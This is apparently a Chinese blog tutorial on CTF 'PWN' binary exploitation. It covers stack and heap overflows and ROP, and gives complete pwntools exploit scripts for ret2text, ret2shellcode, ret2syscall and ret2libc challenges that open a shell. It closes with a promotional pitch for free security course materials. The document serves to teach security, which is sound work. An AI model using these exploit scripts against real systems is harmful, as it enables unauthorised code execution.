文章目录
一、什么是PWN
PWN是一个黑客之间使用的词语,通常指攻破设备或系统。发音类似“砰”,对黑客而言,这象征着成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被操纵了。在网络安全语境中,PWN通常指的是通过不同的攻击手段如利用漏洞、进行社会工程学攻击等方法成功地获得了一个设备、系统或网络的未授权控制权。一旦攻击者“PWN了”一个系统,他们就可以执行各种恶意活动,如窃取数据、安装恶意软件或制造更广泛的破坏。
在CTF(Capture The Flag)等黑客竞赛中,PWN任务经常涉及在一个受限制的环境中寻找和利用漏洞来访问受保护的资源或系统。具体来说,PWN题目通常会提供一个用C或C++编写的程序,该程序运行在目标服务器上,参赛者需要通过网络与服务器进行交互,利用程序中的漏洞(如栈溢出、堆溢出、整数溢出、格式化字符串漏洞等)来造成内存破坏,进而获取远程计算机的shell,并最终获得flag。
二、常见PWN漏洞
- 栈溢出(Stack Overflow)
栈溢出是一种常见的安全漏洞,它利用了程序在执行过程中使用的栈内存空间有限的特性。栈是一种数据结构,用来存储函数的局部变量、函数的参数以及函数调用的返回地址等信息。栈的特点是先进后出,即最后进入栈的数据最先被访问到。当攻击者向程序输入过多的数据时,这些数据会超出栈内存所能容纳的范围,从而覆盖了栈中的其他数据,甚至覆盖了函数返回地址。一旦返回地址被篡改,程序就会跳转到攻击者指定的代码执行,从而实现任意代码执行的攻击。
- 堆溢出(Heap Overflow)
堆溢出是另一种内存溢出漏洞,但与栈溢出不同,它发生在程序的堆内存区域。堆是用来动态分配内存的区域,程序员可以请求分配任意大小的内存块,并在程序运行期间随时释放它们。堆溢出通常是由于程序在写入数据时超出了申请的内存块大小,导致数据覆盖了相邻的内存块。
- 整数溢出(Integer Overflow)
整数溢出发生在将一个较大的整数赋值给一个较小范围的整数变量时,导致数据超出该变量的存储范围并发生溢出。这种溢出可能导致数据被截断、覆盖或产生不正确的计算结果。攻击者可以利用整数溢出漏洞来绕过安全限制、绕过认证机制或执行其他恶意操作。
- 格式化字符串漏洞(Format String Vulnerability)
格式化字符串漏洞通常发生在C语言等编程语言中,当程序不正确地处理格式化字符串函数(如printf、sprintf等)的输入时。攻击者可以通过构造特制的格式化字符串来读取或写入任意内存地址的数据,甚至执行任意代码。
- ROP(Return-oriented Programming)
ROP是一种利用程序中的现有代码片段(称为“gadgets”)来执行攻击者意图的技术。在启用了某些安全保护(如NX位、ASLR等)的环境中,传统的栈溢出攻击可能难以直接执行shellcode。ROP通过覆盖返回地址为程序中的某个gadget的地址,并利用一系列这样的gadgets来构建攻击载荷,最终实现攻击者的目标。
三、PWN环境搭建
- 安装pwntools模块
sudo apt-get install python3-pippip3 install pwntools
- 安装gdb工具和gef插件
sudo apt-get install gdbsudo git clone https://github.com/hugsy/gefcp gef/gef.py ~/.gdbinit-gef.pyecho source ~/.gdbinit-gef.py > ~/.gdbinit
- 安装qemu模拟器
sudo apt-get install qemusudo apt-get install qemu-system qemu-user qemu-user-static binfmt-support
- 安装依赖和模块
sudo apt-get install gcc-arm-linux-gnueabisudo apt install gcc-mipsel-linux-gnusudo apt install gcc-mips-linux-gnusudo apt-get install gdb-multiarchpip3 install ropgadgetpip3 install ropper
四、PWN基础讲解
1. Linux内存布局
-
栈段(Stack):用于存放非静态的局部变量、函数调用过程的栈帧信息等,地址空间向下生长,由编译器自动分配和释放,栈大小在运行时由内核动态调整,栈动态增长后就不会再收缩。
-
内存映射段(Memory Mapping Segment):也称为文件映射区和匿名映射区,加载的动态库、打开的文件等均映射到该区域。
-
堆段(Heap):运行时可动态分配的内存段,向上生长,由用户进行申请和释放等管理操作。
-
BSS段(BSS segment):具有读写权限,用于存放初始值为0或未初始化的全局变量、静态变量,这块内存会由操作系统初始化为0。
-
数据段(Data segment):具有读写权限,用于存放初始值非0的全局变量、静态变量。
-
代码段(Text segment):具有只读权限,用于存放可执行程序、字符串、只读变量等。如定义的const变量、printf函数的格式化字符串等。
2. 经典栈溢出
2.1. 栈说明
栈是一种数据结构,遵循后进先出的原则(Last in First Out),主要有压栈(push)与出栈(pop)两种操作eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。如果用C语言来解释,可以把这些寄存器当作变量看待。在栈中,esp保存栈帧的栈顶地址,ebp保存栈帧的栈底地址。程序的栈是从进程地址空间的高地址向低地址增长的。
2.2. 栈溢出原理
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。
栈溢出的前提是:程序向栈上写入数据,数据的长度不受控制。
最简单的栈溢出就是通过溢出,覆盖程序的返回地址,将返回地址覆盖为system(“/bin/sh”)的地址。
2.3. 简单栈溢出利用
通过CTFHUB平台技能树中的ret2text题进行栈溢出学习。
首先下载附件,使用checksec工具检查程序开启的保护:
该程序未开启保护,并且是amd的64位程序,拖入ida进行静态分析:
阅读代码发现程序调用了gets函数,gets本身是一个危险函数,它不会对字符串的长度进行校验,而是以回车判断输入是否结束,存在栈溢出漏洞,shift+f12发现程序中有可执行后门system(“/bin/sh”):
那么溢出ret到执行system(“/bin/sh”)的地址即可,双击/bin/sh,ctrl+x追踪到/bin/sh的地址为0x04007B8:
查看v4,发现设定的v4长度为0x70,同时由于是64位系统,需要+8字节覆盖掉ebp(32位系统+4字节覆盖掉ebp):
接下来就可以编写exp,运行成功获取shell:
from pwn import * p = remote("challenge-5ed622b3b63a7e82.sandbox.ctfhub.com",28525)#/bin/sh的地址shell_addr = 0x04007B8#生成0x70+8个垃圾数据覆盖参数和ebp,然后把/bin/sh的地址写入返回地址payload = b'a' * (0x70+8) + p64(shell_addr) p.sendline(payload)p.interactive()
总结栈溢出漏洞利用两个重要步骤:
-
寻找危险函数( gets、scanf、vscanf、sprintf、strcpy、strcat、bcopy等)
-
确定填充长度,计算要操作的地址与要覆盖的地址的距离
3. 常见ROP栈溢出利用
3.1. ret2shellcode
shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。利用方式是将shellcode写入程序,然后利用栈溢出将eip的返回地址覆盖为shellcode的地址,进而让程序执行shellcode。这就需要程序中存在一个位置能够让我们写入shellcode并执行(比如bss段)。
以NewStarCTF平台中的ret2shellcode题为例。
将附件拖入IDA,注意mmap
函数,它是向文件映射去申请一块内存,是动态库,共享内存等映射物理空间的内存:
通过pwndbg可以看到,映射的区域有可执行权限:
而且mmap指定了buf的起始地址为0x233000,因此可以利用第一个read向buff中写入shellcode,再通过第二个read进行栈溢出,将返回地址覆盖为0x233000,最后编写exp运行获取shell。
from pwn import *context(os='linux', arch='amd64', log_level='debug')#用pwntools生成shellcodeshellcode = asm(shellcraft.sh())p = remote('219.219.61.234',49544)p.recvline()#把shellcode写入bufp.sendline(shellcode)p.recvline()#计算偏移,栈溢出到bufpayload = b'a' * (0x30+8) + p64(0x233000)p.sendline(payload)p.interactive()
3.2. ret2syscall
ret2syscall,即控制程序执行系统调用获取shell。
系统调用是指由操作系统提供的供所有系统调用的程序接口集合,用户程序通常只在用户态下运行,当用户程序想要调用只能在内核态运行的子程序时,操作系统需要提供访问这些内核态运行的程序的接口,这些接口的集合就叫做系统调用,简要的说,系统调用是内核向用户进程提供服务的唯一方法。
用户程序通过系统调用从用户态(user mode)切换到核心态(kernel mode ),从而可以访问相应的资源。要使用系统调用,需要通过汇编指令int 0x80
实现,用系统调用号来区分入口函数。
以CTFWIKI平台中的ret2syscall题为例。
首先检测程序开启的保护:
看到为32位,还开启了NX保护,拖入IDA查看源代码:
可以看到依然是gets函数的栈溢出,但是由于程序本身没有后门,并且无法自己写入shellcode来获得shell,这是就要用到系统调用。
简单地说,只要我们把对应获取shell的系统调用的参数放到对应的寄存器中,那么我们再执行int 0x80
就可执行对应的系统调用。这里可以用execve("/bin/sh",NULL,NULL)
这个系统调用来获取shell,其中execve对应的系统调用号为0xb。
由于程序是32位的,按照execve("/bin/sh",NULL,NULL)
,令eax为execve的系统调用号0xb,第一个参数ebx指向/bin/sh,ecx和edx为0。
而我们如何控制这些寄存器的值呢?这里就需要使用gadgets。比如说,现在栈顶是10,那么如果此时执行了pop eax,那么现在eax的值就为10。但是我们并不能期待有一段连续的代码可以理想控制对应的寄存器,所以我们需要一段一段控制,这里需要用到ROPgadget工具寻找gadget。
先找到控制eax的gadget,这几个都可以控制eax,这里使用第二个。再找控制ebx的gadget:
以上都可以使用,由于0x0806eb68可以控制三个寄存器,所以选用这个地址。然后找到/bin/sh的地址:
以及int 0x80的地址:
最后编写exp脚本,运行获取shell。
from pwn import *p = process('./rop')pop_eax_ret = 0x080bb196pop_ebx_ecx_edx_ret = 0x0806eb90sh = 0x080be408int_0x80 = 0x08049421payload = b'a' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ecx_edx_ret) + p32(0) + p32(0) + p32(sh) + p32(int_0x80)p.sendline(payload)p.interactive()
3.3. ret2libc
ret2libc即控制函数执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system(“/bin/sh”),故而此时我们需要知道system函数的地址。
以NewStarCTF平台的ret2libc题进行学习。
首先下载附件,得到一个程序以及程序用到的libc,将程序拖入IDA分析:
很明显fgets处存在栈溢出,但通过寻找,没有发现可利用的函数:
根据动态链接和延迟绑定技术,运用任意地址读写技术对某个函数的GOT表进行改写,使其指向想要执行的危险函数(如system
,execve
函数)
操作系统通常使用动态链接的方法来提高程序运行的效率。那么在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,也就是控制执行libc(对应版本)中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system(“/bin/sh”)或者execve(“/bin/sh”,NULL,NULL),故而此时我们需要知道system函数的地址。
所以首先要做的是通过栈溢出,泄露出puts真实的地址,然后计算真实地址与libc中puts地址的偏移,进而计算出system与/bin/sh的地址,同时还要获取rdi、ret与main函数的地址。
可以使用pwndbg工具寻找main函数的起始地址:
最后构造exp脚本,运行获取shell。
from pwn import *
elf = ELF('./pwn')libc = ELF('./libc-2.31.so')#p = process('./pwn')p = remote('node4.buuoj.cn',25948)
#puts的plt表与got表地址puts_plt = elf.plt['puts'] puts_got = elf.got['puts']
#libc中puts、system、/bin/sh的地址libc_puts = libc.symbols['puts']libc_system = libc.symbols['system']libc_sh = libc.search(b'/bin/sh').__next__()
pop_ret_rdi = 0x400753main = 0x400698ret = 0x40050e
p.recvuntil(b'time?\n')#64位的payload构成:栈溢出+pop rdi地址+泄露函数的got表地址+泄露函数的plt地址+ret指令(这里ret回main函数是为了跳回程序开头重新执行程序)payload = b'a' * (0x20+8) + p64(pop_ret_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)p.sendline(payload)
#直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00#\x7f是64位程序函数地址的默认开头,-6就是从倒数第6个字节开始取,在内存中是倒着放的#32位u32(r.recv()[0:4])puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) #puts函数的真实地址#偏移base = puts_addr - libc_puts#真实的system和/bin/sh地址system_addr = base + libc_systemsh_addr = base + libc_sh
payload = b'a' * (0x20+8) + p64(ret) + p64(pop_ret_rdi) + p64(sh_addr) + p64(system_addr)p.sendline(payload)p.interactive()
零基础入门 黑客/网络安全
【----帮助网安学习,以下所有学习资料文末免费领取!----】
> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集(含答案)
> ⑧ APP客户端安全检测指南(安卓+IOS)
大纲
首先要找一份详细的大纲。
学习教程
第一阶段:零基础入门系列教程
该阶段学完即可年薪15w+
第二阶段:技术入门
弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞
该阶段学完年薪25w+
阶段三:高阶提升
反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练
该阶段学完即可年薪30w+
面试刷题
最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。
但是,我觉得很多人拿到了却并不会去学习。
大部分人的问题看似是“如何行动”,其实是“无法开始”。
几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。
如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要。
资料领取
上述这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 ↓↓↓ 或者 点击以下链接都可以领取
标签:bin,入门,程序,就够,地址,sh,PWN,溢出,函数 From: https://blog.csdn.net/weixin_46428928/article/details/143477161